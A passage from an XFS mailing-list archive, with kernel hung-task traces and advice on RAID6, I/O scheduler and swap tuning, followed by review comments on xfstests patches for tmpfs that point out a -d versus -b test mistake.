[390470.198462] [] schedule+0x3f/0x60 > Dec 18 02:19:19 kernel: [390470.198498] [] xlog_cil_force_lsn+0xf7/0x120 [xfs] > Dec 18 02:19:19 kernel: [390470.198510] [] ? unfreeze_partials+0x24f/0x2b0 > Dec 18 02:19:19 kernel: [390470.198521] [] ? try_to_wake_up+0x200/0x200 > Dec 18 02:19:19 kernel: [390470.198554] [] ? xfs_iunpin_wait+0x35/0xb0 [xfs] > Dec 18 02:19:19 kernel: [390470.198587] [] _xfs_log_force_lsn+0x57/0x2e0 [xfs] > Dec 18 02:19:19 kernel: [390470.198617] [] ? xfs_bmbt_get_all+0x18/0x20 [xfs] > Dec 18 02:19:19 kernel: [390470.198646] [] ? xfs_bmap_search_multi_extents+0x92/0x110 [xfs] > Dec 18 02:19:19 kernel: [390470.198677] [] ? xfs_iunpin_wait+0x35/0xb0 [xfs] > Dec 18 02:19:19 kernel: [390470.198710] [] xfs_log_force_lsn+0x18/0x40 [xfs] > Dec 18 02:19:19 kernel: [390470.198740] [] xfs_iunpin_nowait+0x44/0xb0 [xfs] > Dec 18 02:19:19 kernel: [390470.198769] [] xfs_iunpin_wait+0x35/0xb0 [xfs] > Dec 18 02:19:19 kernel: [390470.198780] [] ? try_wait_for_completion+0x4b/0x60 > Dec 18 02:19:19 kernel: [390470.198806] [] xfs_reclaim_inode+0xb2/0x2a0 [xfs] > Dec 18 02:19:19 kernel: [390470.198818] [] ? radix_tree_gang_lookup_tag.part.7+0x6c/0xf0 > Dec 18 02:19:19 kernel: [390470.198844] [] xfs_reclaim_inodes_ag+0x23f/0x3a0 [xfs] > Dec 18 02:19:19 kernel: [390470.198871] [] xfs_reclaim_inodes_nr+0x33/0x40 [xfs] > Dec 18 02:19:19 kernel: [390470.198895] [] xfs_fs_free_cached_objects+0x15/0x20 [xfs] > Dec 18 02:19:19 kernel: [390470.198905] [] prune_super+0x10e/0x1a0 > Dec 18 02:19:19 kernel: [390470.198913] [] shrink_slab+0x154/0x300 > Dec 18 02:19:19 kernel: [390470.198922] [] balance_pgdat+0x50a/0x6d0 > Dec 18 02:19:19 kernel: [390470.198931] [] kswapd+0x121/0x220 > Dec 18 02:19:19 kernel: [390470.198938] [] ? balance_pgdat+0x6d0/0x6d0 > Dec 18 02:19:19 kernel: [390470.198947] [] kthread+0x8c/0xa0 > Dec 18 02:19:19 kernel: [390470.198956] [] ? __migrate_task+0x120/0x120 > Dec 18 02:19:19 kernel: [390470.198966] [] kernel_thread_helper+0x4/0x10 > Dec 18 02:19:19 kernel: [390470.198974] [] ? flush_kthread_worker+0xa0/0xa0 > Dec 18 02:19:19 kernel: [390470.198984] [] ? gs_change+0x13/0x13 > Dec 18 02:19:19 kernel: [390470.199017] INFO: task xfsaild/dm-0:19192 blocked for more than 120 seconds. > Dec 18 02:19:19 kernel: [390470.199828] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. > Dec 18 02:19:19 kernel: [390470.200262] xfsaild/dm-0 D 0000000000000001 0 19192 2 0x00000000 > Dec 18 02:19:19 kernel: [390470.200268] ffff88084e847a60 0000000000000046 ffff88046454d500 0000000000000000 > Dec 18 02:19:19 kernel: [390470.200274] ffff88084e847fd8 ffff88084e847fd8 ffff88084e847fd8 00000000000137c0 > Dec 18 02:19:19 kernel: [390470.200281] ffff88045fdd0000 ffff880461b1dc00 ffff88084e847a50 ffff88085f47d080 > Dec 18 02:19:19 kernel: [390470.200288] Call Trace: > Dec 18 02:19:19 kernel: [390470.200293] [] schedule+0x3f/0x60 > Dec 18 02:19:19 kernel: [390470.200323] [] xlog_state_get_iclog_space+0xea/0x2e0 [xfs] > Dec 18 02:19:19 kernel: [390470.200330] [] ? try_to_wake_up+0x200/0x200 > Dec 18 02:19:19 kernel: [390470.200358] [] xlog_write+0xe9/0x400 [xfs] > Dec 18 02:19:19 kernel: [390470.200382] [] ? kmem_zone_alloc+0x67/0xe0 [xfs] > Dec 18 02:19:19 kernel: [390470.200410] [] xlog_cil_push+0x20c/0x380 [xfs] > Dec 18 02:19:19 kernel: [390470.200438] [] xlog_cil_force_lsn+0x10e/0x120 [xfs] > Dec 18 02:19:19 kernel: [390470.200446] [] ? __switch_to+0xf5/0x360 > Dec 18 02:19:19 kernel: [390470.200473] [] _xfs_log_force+0x68/0x2a0 [xfs] > Dec 18 02:19:19 kernel: [390470.200481] [] ? try_to_del_timer_sync+0x92/0x130 > Dec 18 02:19:19 kernel: [390470.200507] [] xfs_log_force+0x18/0x40 [xfs] > Dec 18 02:19:19 kernel: [390470.200535] [] xfsaild_push+0x213/0x680 [xfs] > Dec 18 02:19:19 kernel: [390470.200540] [] ? schedule_timeout+0x175/0x320 > Dec 18 02:19:19 kernel: [390470.200568] [] xfsaild+0x62/0xc0 [xfs] > Dec 18 02:19:19 kernel: [390470.200593] [] ? xfsaild_push+0x680/0x680 [xfs] > Dec 18 02:19:19 kernel: [390470.200599] [] kthread+0x8c/0xa0 > Dec 18 02:19:19 kernel: [390470.200605] [] kernel_thread_helper+0x4/0x10 > Dec 18 02:19:19 kernel: [390470.200611] [] ? flush_kthread_worker+0xa0/0xa0 > Dec 18 02:19:19 kernel: [390470.200617] [] ? gs_change+0x13/0x13 From stan@hardwarefreak.com Tue Dec 17 21:38:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0B74B29DF8 for ; Tue, 17 Dec 2013 21:38:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9DF8EAC001 for ; Tue, 17 Dec 2013 19:38:11 -0800 (PST) X-ASG-Debug-ID: 1387337890-04bdf00fe0d4ad0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id sBzdzojIIQ0KA4Xu for ; Tue, 17 Dec 2013 19:38:10 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 2400A6C15C; Tue, 17 Dec 2013 21:38:10 -0600 (CST) Message-ID: <52B118A9.8080905@hardwarefreak.com> Date: Tue, 17 Dec 2013 21:38:17 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@pzystorm.de, xfs@oss.sgi.com Subject: Re: XFS blocked task in xlog_cil_force_lsn References: <52B102FF.8040404@pzystorm.de> X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn In-Reply-To: <52B102FF.8040404@pzystorm.de> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1387337890 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/17/2013 8:05 PM, Kevin Richter wrote: > Hi, > > around April 2012 there was a similar thread on this list which I have > found via Google, so my mail topic is the same. > > I have a RAID6 array with 5 disks (each 2TB, net: 6TB). While copying > under heavy load there are always these blocks. At the bottom of this > message I have included some line from the syslog. > > Even a reboot is now not possible anymore, because the whole system > hangs while executing the "sync" command in one of the shutdown scripts. > > So... first I have thought that my disks are faulty. > But with smartmontools I have started a short and a long test on all of > the 5 disks: no errors > > Then I have even recreated the whole array, but no improvement. > > Details about my server: 3.2.0-57-generic, Ubuntu 12.04.3 LTS > Details about the array: soft array with mdadm v3.2.5, no hardware raid > controller in the server > > The scheduler of the raid disks: >> $ cat /sys/block/sd[cdefg]/queue/scheduler >> noop deadline [cfq] >> noop deadline [cfq] >> noop deadline [cfq] >> noop deadline [cfq] >> noop deadline [cfq] > > > Any ideas what I can do? Your workload is seeking the disks to death, which is why you're getting these timeouts. The actuators simply can't keep up. 1. Switch to deadline. CFQ is not suitable for RAID storage, and not suitable for XFS. This may not be a silver bullet but it will help. 2. Post your chunk size and RAID6 stripe_cache_size value. They may be sub optimal for your workload. For the latter $ cat /sys/block/mdX/md/stripe_cache_size 3. Post 'xfs_info /dev/mdX' 4. You're getting a lot of kswapd timeouts because you have swap and the md/RAID6 array on the same disks. Relocate swap to disks that are not part of this RAID6. Small SSDs are cheap and fast. Buy one and put swap on it. Or install more RAM in the machine. Going the SSD route is better as it gives flexibility. For instance, you can also relocate your syslog files to it and anything else that does IO without eating lots of space. This decreases the IOPS load on your rust. 5. Describe in some detail the workload(s) causing the heavy IO, and thus these timeouts. > > Thanks, > Kevin > > > >> Dec 18 02:19:19 kernel: [390470.193560] INFO: task kswapd0:51 blocked for more than 120 seconds. >> Dec 18 02:19:19 kernel: [390470.194541] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. >> Dec 18 02:19:19 kernel: [390470.195795] kswapd0 D ffffffff81806240 0 51 2 0x00000000 >> Dec 18 02:19:19 kernel: [390470.195804] ffff8804658099f0 0000000000000046 ffff880465809a74 ffff880465809a78 >> Dec 18 02:19:19 kernel: [390470.195813] ffff880465809fd8 ffff880465809fd8 ffff880465809fd8 00000000000137c0 >> Dec 18 02:19:19 kernel: [390470.195820] ffff880465dd1700 ffff880465818000 0000000000000000 ffff88046175aa28 >> Dec 18 02:19:19 kernel: [390470.195827] Call Trace: >> Dec 18 02:19:19 kernel: [390470.195844] [] schedule+0x3f/0x60 >> Dec 18 02:19:19 kernel: [390470.195850] [] __mutex_lock_slowpath+0xd7/0x150 >> Dec 18 02:19:19 kernel: [390470.195856] [] mutex_lock+0x2a/0x50 >> Dec 18 02:19:19 kernel: [390470.195904] [] xfs_reclaim_inodes_ag+0x2d8/0x3a0 [xfs] >> Dec 18 02:19:19 kernel: [390470.195928] [] ? __xfs_inode_set_reclaim_tag+0x4a/0x140 [xfs] >> Dec 18 02:19:19 kernel: [390470.195951] [] ? xfs_inode_set_reclaim_tag+0x3d/0xa0 [xfs] >> Dec 18 02:19:19 kernel: [390470.195973] [] ? xfs_inode_set_reclaim_tag+0x84/0xa0 [xfs] >> Dec 18 02:19:19 kernel: [390470.195995] [] ? xfs_fs_destroy_inode+0x65/0x150 [xfs] >> Dec 18 02:19:19 kernel: [390470.196003] [] ? destroy_inode+0x3c/0x70 >> Dec 18 02:19:19 kernel: [390470.196008] [] ? evict+0x12a/0x1c0 >> Dec 18 02:19:19 kernel: [390470.196016] [] ? _raw_spin_lock+0xe/0x20 >> Dec 18 02:19:19 kernel: [390470.196037] [] xfs_reclaim_inodes_nr+0x33/0x40 [xfs] >> Dec 18 02:19:19 kernel: [390470.196059] [] xfs_fs_free_cached_objects+0x15/0x20 [xfs] >> Dec 18 02:19:19 kernel: [390470.196067] [] prune_super+0x10e/0x1a0 >> Dec 18 02:19:19 kernel: [390470.196073] [] shrink_slab+0x154/0x300 >> Dec 18 02:19:19 kernel: [390470.196079] [] balance_pgdat+0x50a/0x6d0 >> Dec 18 02:19:19 kernel: [390470.196085] [] kswapd+0x121/0x220 >> Dec 18 02:19:19 kernel: [390470.196090] [] ? balance_pgdat+0x6d0/0x6d0 >> Dec 18 02:19:19 kernel: [390470.196097] [] kthread+0x8c/0xa0 >> Dec 18 02:19:19 kernel: [390470.196105] [] kernel_thread_helper+0x4/0x10 >> Dec 18 02:19:19 kernel: [390470.196111] [] ? flush_kthread_worker+0xa0/0xa0 >> Dec 18 02:19:19 kernel: [390470.196117] [] ? gs_change+0x13/0x13 >> Dec 18 02:19:19 kernel: [390470.196121] INFO: task kswapd1:52 blocked for more than 120 seconds. >> Dec 18 02:19:19 kernel: [390470.197086] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. >> Dec 18 02:19:19 kernel: [390470.198427] kswapd1 D 0000000000000007 0 52 2 0x00000000 >> Dec 18 02:19:19 kernel: [390470.198434] ffff88046580b840 0000000000000046 0000000000000001 00000000ffffffff >> Dec 18 02:19:19 kernel: [390470.198441] ffff88046580bfd8 ffff88046580bfd8 ffff88046580bfd8 00000000000137c0 >> Dec 18 02:19:19 kernel: [390470.198447] ffff880865e8ae00 ffff880465819700 ffff88046580b830 0000000000000004 >> Dec 18 02:19:19 kernel: [390470.198454] Call Trace: >> Dec 18 02:19:19 kernel: [390470.198462] [] schedule+0x3f/0x60 >> Dec 18 02:19:19 kernel: [390470.198498] [] xlog_cil_force_lsn+0xf7/0x120 [xfs] >> Dec 18 02:19:19 kernel: [390470.198510] [] ? unfreeze_partials+0x24f/0x2b0 >> Dec 18 02:19:19 kernel: [390470.198521] [] ? try_to_wake_up+0x200/0x200 >> Dec 18 02:19:19 kernel: [390470.198554] [] ? xfs_iunpin_wait+0x35/0xb0 [xfs] >> Dec 18 02:19:19 kernel: [390470.198587] [] _xfs_log_force_lsn+0x57/0x2e0 [xfs] >> Dec 18 02:19:19 kernel: [390470.198617] [] ? xfs_bmbt_get_all+0x18/0x20 [xfs] >> Dec 18 02:19:19 kernel: [390470.198646] [] ? xfs_bmap_search_multi_extents+0x92/0x110 [xfs] >> Dec 18 02:19:19 kernel: [390470.198677] [] ? xfs_iunpin_wait+0x35/0xb0 [xfs] >> Dec 18 02:19:19 kernel: [390470.198710] [] xfs_log_force_lsn+0x18/0x40 [xfs] >> Dec 18 02:19:19 kernel: [390470.198740] [] xfs_iunpin_nowait+0x44/0xb0 [xfs] >> Dec 18 02:19:19 kernel: [390470.198769] [] xfs_iunpin_wait+0x35/0xb0 [xfs] >> Dec 18 02:19:19 kernel: [390470.198780] [] ? try_wait_for_completion+0x4b/0x60 >> Dec 18 02:19:19 kernel: [390470.198806] [] xfs_reclaim_inode+0xb2/0x2a0 [xfs] >> Dec 18 02:19:19 kernel: [390470.198818] [] ? radix_tree_gang_lookup_tag.part.7+0x6c/0xf0 >> Dec 18 02:19:19 kernel: [390470.198844] [] xfs_reclaim_inodes_ag+0x23f/0x3a0 [xfs] >> Dec 18 02:19:19 kernel: [390470.198871] [] xfs_reclaim_inodes_nr+0x33/0x40 [xfs] >> Dec 18 02:19:19 kernel: [390470.198895] [] xfs_fs_free_cached_objects+0x15/0x20 [xfs] >> Dec 18 02:19:19 kernel: [390470.198905] [] prune_super+0x10e/0x1a0 >> Dec 18 02:19:19 kernel: [390470.198913] [] shrink_slab+0x154/0x300 >> Dec 18 02:19:19 kernel: [390470.198922] [] balance_pgdat+0x50a/0x6d0 >> Dec 18 02:19:19 kernel: [390470.198931] [] kswapd+0x121/0x220 >> Dec 18 02:19:19 kernel: [390470.198938] [] ? balance_pgdat+0x6d0/0x6d0 >> Dec 18 02:19:19 kernel: [390470.198947] [] kthread+0x8c/0xa0 >> Dec 18 02:19:19 kernel: [390470.198956] [] ? __migrate_task+0x120/0x120 >> Dec 18 02:19:19 kernel: [390470.198966] [] kernel_thread_helper+0x4/0x10 >> Dec 18 02:19:19 kernel: [390470.198974] [] ? flush_kthread_worker+0xa0/0xa0 >> Dec 18 02:19:19 kernel: [390470.198984] [] ? gs_change+0x13/0x13 >> Dec 18 02:19:19 kernel: [390470.199017] INFO: task xfsaild/dm-0:19192 blocked for more than 120 seconds. >> Dec 18 02:19:19 kernel: [390470.199828] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. >> Dec 18 02:19:19 kernel: [390470.200262] xfsaild/dm-0 D 0000000000000001 0 19192 2 0x00000000 >> Dec 18 02:19:19 kernel: [390470.200268] ffff88084e847a60 0000000000000046 ffff88046454d500 0000000000000000 >> Dec 18 02:19:19 kernel: [390470.200274] ffff88084e847fd8 ffff88084e847fd8 ffff88084e847fd8 00000000000137c0 >> Dec 18 02:19:19 kernel: [390470.200281] ffff88045fdd0000 ffff880461b1dc00 ffff88084e847a50 ffff88085f47d080 >> Dec 18 02:19:19 kernel: [390470.200288] Call Trace: >> Dec 18 02:19:19 kernel: [390470.200293] [] schedule+0x3f/0x60 >> Dec 18 02:19:19 kernel: [390470.200323] [] xlog_state_get_iclog_space+0xea/0x2e0 [xfs] >> Dec 18 02:19:19 kernel: [390470.200330] [] ? try_to_wake_up+0x200/0x200 >> Dec 18 02:19:19 kernel: [390470.200358] [] xlog_write+0xe9/0x400 [xfs] >> Dec 18 02:19:19 kernel: [390470.200382] [] ? kmem_zone_alloc+0x67/0xe0 [xfs] >> Dec 18 02:19:19 kernel: [390470.200410] [] xlog_cil_push+0x20c/0x380 [xfs] >> Dec 18 02:19:19 kernel: [390470.200438] [] xlog_cil_force_lsn+0x10e/0x120 [xfs] >> Dec 18 02:19:19 kernel: [390470.200446] [] ? __switch_to+0xf5/0x360 >> Dec 18 02:19:19 kernel: [390470.200473] [] _xfs_log_force+0x68/0x2a0 [xfs] >> Dec 18 02:19:19 kernel: [390470.200481] [] ? try_to_del_timer_sync+0x92/0x130 >> Dec 18 02:19:19 kernel: [390470.200507] [] xfs_log_force+0x18/0x40 [xfs] >> Dec 18 02:19:19 kernel: [390470.200535] [] xfsaild_push+0x213/0x680 [xfs] >> Dec 18 02:19:19 kernel: [390470.200540] [] ? schedule_timeout+0x175/0x320 >> Dec 18 02:19:19 kernel: [390470.200568] [] xfsaild+0x62/0xc0 [xfs] >> Dec 18 02:19:19 kernel: [390470.200593] [] ? xfsaild_push+0x680/0x680 [xfs] >> Dec 18 02:19:19 kernel: [390470.200599] [] kthread+0x8c/0xa0 >> Dec 18 02:19:19 kernel: [390470.200605] [] kernel_thread_helper+0x4/0x10 >> Dec 18 02:19:19 kernel: [390470.200611] [] ? flush_kthread_worker+0xa0/0xa0 >> Dec 18 02:19:19 kernel: [390470.200617] [] ? gs_change+0x13/0x13 -- Stan From branto@redhat.com Tue Dec 17 23:20:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 014B229DF8 for ; Tue, 17 Dec 2013 23:20:37 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CE8A98F8081 for ; Tue, 17 Dec 2013 21:20:33 -0800 (PST) X-ASG-Debug-ID: 1387344032-04bdf00fded8090001-NocioJ Received: from mx4-phx2.redhat.com (mx4-phx2.redhat.com [209.132.183.25]) by cuda.sgi.com with ESMTP id wDHI11FSg6IHNDcC for ; Tue, 17 Dec 2013 21:20:32 -0800 (PST) X-Barracuda-Envelope-From: branto@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.25 Received: from zmail16.collab.prod.int.phx2.redhat.com (zmail16.collab.prod.int.phx2.redhat.com [10.5.83.18]) by mx4-phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rBI5KTkM024191; Wed, 18 Dec 2013 00:20:29 -0500 Date: Wed, 18 Dec 2013 00:20:29 -0500 (EST) From: Boris Ranto To: Junho Ryu Cc: xfs@oss.sgi.com, hughd@google.com, tytso@mit.edu Message-ID: <1243674646.8335146.1387344029069.JavaMail.root@redhat.com> In-Reply-To: <1387318722-3050-9-git-send-email-jayr@google.com> References: <1387318722-3050-1-git-send-email-jayr@google.com> <1387318722-3050-9-git-send-email-jayr@google.com> Subject: Re: [PATCH v2 09/12] xfstests: skip generic/076 which cannot work on tmpfs MIME-Version: 1.0 X-ASG-Orig-Subj: Re: [PATCH v2 09/12] xfstests: skip generic/076 which cannot work on tmpfs Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [10.5.82.11] X-Mailer: Zimbra 8.0.3_GA_5664 (ZimbraWebClient - FF26 (Linux)/8.0.3_GA_5664) Thread-Topic: xfstests: skip generic/076 which cannot work on tmpfs Thread-Index: rDsY1EAYilXC4mngMFjQeWIX7Fwg6w== X-Barracuda-Connect: mx4-phx2.redhat.com[209.132.183.25] X-Barracuda-Start-Time: 1387344032 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.62 X-Barracuda-Spam-Status: No, SCORE=0.62 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143188 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.60 MARKETING_SUBJECT Subject contains popular marketing words Hi, here, you were probably looking for -b option (that tests if its argument is a block device) instead of -d option (that tests if its argument is a directory). Otherwise, this patch would skip the test case for an arbitrary file system. -Boris ----- Original Message ----- > Skip generic/076 which tests concurrent access while testing tmpfs > because there are other tests cover the case using fsstress. > > Signed-off-by: Hugh Dickins > Signed-off-by: Theodore Ts'o > Signed-off-by: Junho Ryu > --- > > v2: check whether SCRATCH_DEV is a block device instead of checking whether > FSTYP is tmpfs. > > tests/generic/076 | 2 ++ > 1 file changed, 2 insertions(+) > > diff --git a/tests/generic/076 b/tests/generic/076 > index a53840f..7ab2fbc 100755 > --- a/tests/generic/076 > +++ b/tests/generic/076 > @@ -57,6 +57,8 @@ _supported_os IRIX Linux > > _require_scratch > > +[ -d "$SCRATCH_DEV" ] || _notrun "this test requires block device" > + > echo "*** init fs" > > rm -f $seqres.full > -- > 1.8.5.1 > > From branto@redhat.com Tue Dec 17 23:33:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C059E29DF8 for ; Tue, 17 Dec 2013 23:33:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5EF19AC001 for ; Tue, 17 Dec 2013 21:33:47 -0800 (PST) X-ASG-Debug-ID: 1387344825-04bdf00fe0d8750001-NocioJ Received: from mx4-phx2.redhat.com (mx4-phx2.redhat.com [209.132.183.25]) by cuda.sgi.com with ESMTP id TcWtYypKP7lK5oTJ for ; Tue, 17 Dec 2013 21:33:46 -0800 (PST) X-Barracuda-Envelope-From: branto@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.25 Received: from zmail16.collab.prod.int.phx2.redhat.com (zmail16.collab.prod.int.phx2.redhat.com [10.5.83.18]) by mx4-phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rBI5XgvP026346; Wed, 18 Dec 2013 00:33:42 -0500 Date: Wed, 18 Dec 2013 00:33:42 -0500 (EST) From: Boris Ranto To: Junho Ryu Cc: xfs@oss.sgi.com, hughd@google.com, tytso@mit.edu Message-ID: <1676964890.8345887.1387344822858.JavaMail.root@redhat.com> In-Reply-To: <1387318722-3050-2-git-send-email-jayr@google.com> References: <1387318722-3050-1-git-send-email-jayr@google.com> <1387318722-3050-2-git-send-email-jayr@google.com> Subject: Re: [PATCH v2 02/12] xfstests: _scratch_mkfs_sized() for tmpfs MIME-Version: 1.0 X-ASG-Orig-Subj: Re: [PATCH v2 02/12] xfstests: _scratch_mkfs_sized() for tmpfs Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [10.5.82.11] X-Mailer: Zimbra 8.0.3_GA_5664 (ZimbraWebClient - FF26 (Linux)/8.0.3_GA_5664) Thread-Topic: xfstests: _scratch_mkfs_sized() for tmpfs Thread-Index: 8IB9dIUgi6tifIZE8jf/F6UWCWQE4w== X-Barracuda-Connect: mx4-phx2.redhat.com[209.132.183.25] X-Barracuda-Start-Time: 1387344826 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143188 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Same here, the patch uses -d instead of -b option. ----- Original Message ----- > From: Hugh Dickins > > _scratch_mkfs_sized() avoid blockdev and update MOUNT_OPTIONS with > required size on tmpfs, so those tests using it can now run. > > Signed-off-by: Hugh Dickins > Signed-off-by: Junho Ryu > --- > > v2: same as v1 > > common/rc | 5 ++++- > 1 file changed, 4 insertions(+), 1 deletion(-) > > diff --git a/common/rc b/common/rc > index a2005c9..c78356e 100644 > --- a/common/rc > +++ b/common/rc > @@ -590,7 +590,7 @@ _scratch_mkfs_sized() > > blocks=`expr $fssize / $blocksize` > > - if [ "$HOSTOS" == "Linux" ]; then > + if [ "$HOSTOS" == "Linux" -a -d "$SCRATCH_DEV" ]; then > devsize=`blockdev --getsize64 $SCRATCH_DEV` > [ "$fssize" -gt "$devsize" ] && _notrun "Scratch device too small" > fi > @@ -611,6 +611,9 @@ _scratch_mkfs_sized() > btrfs) > $MKFS_BTRFS_PROG $MKFS_OPTIONS -b $fssize $SCRATCH_DEV > ;; > + tmpfs) > + export MOUNT_OPTIONS="-o size=$fssize $TMPFS_MOUNT_OPTIONS" > + ;; > *) > _notrun "Filesystem $FSTYP not supported in _scratch_mkfs_sized" > ;; > -- > 1.8.5.1 > > From stefanrin@gmail.com Wed Dec 18 02:33:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 464AD7F3F for ; Wed, 18 Dec 2013 02:33:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 12C86304077 for ; Wed, 18 Dec 2013 00:33:24 -0800 (PST) X-ASG-Debug-ID: 1387355602-04cb6c537c8016b0001-NocioJ Received: from mail-wi0-f171.google.com (mail-wi0-f171.google.com [209.85.212.171]) by cuda.sgi.com with ESMTP id pP74y3hlzHyvwtf3 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 00:33:23 -0800 (PST) X-Barracuda-Envelope-From: stefanrin@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.171 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.171] Received: by mail-wi0-f171.google.com with SMTP id bz8so4893873wib.10 for ; Wed, 18 Dec 2013 00:33:22 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.171] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.171] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=yjwIc+enudxNa8W+12g8Li07hotMNEvyzmL4+lSqULY=; b=AROCFQPDr6eKZteC+xjOBp5gqigg50IhjRo8rxfr5f0+tTNGKcMYsbwC9OkSoN8Yzp tDGzBCQXDgJ8n5XQwL+N0t+hpWT4rijSSVqXvDJytHNOapOpoNLgLTFIyREy0qiMJUZD i/pbEbwDdGaDQfgdnd8aq5zAHOWrIJ7klZfONuDA/zddpp9hnnqhrj38Q/eCvdQWZn8H QmE0UENAnDCLtw896LkuWSGH1ljwOTVFfSLxTjVbh2we6VEnnLDMFInzYDmhMOgcPrE3 dFcTKE8rablE/uuV62mcsiR6Ab3d1N14ama9f/GEmJKFqPYwcY/2+1Mg3VznfxzIEUG5 nu0Q== MIME-Version: 1.0 X-Received: by 10.194.192.233 with SMTP id hj9mr890975wjc.78.1387355602142; Wed, 18 Dec 2013 00:33:22 -0800 (PST) Received: by 10.194.134.67 with HTTP; Wed, 18 Dec 2013 00:33:22 -0800 (PST) In-Reply-To: <52B102FF.8040404@pzystorm.de> References: <52B102FF.8040404@pzystorm.de> Date: Wed, 18 Dec 2013 09:33:22 +0100 Message-ID: Subject: Re: XFS blocked task in xlog_cil_force_lsn From: Stefan Ring X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn To: xfs@pzystorm.de Cc: Linux fs XFS Content-Type: text/plain; charset=UTF-8 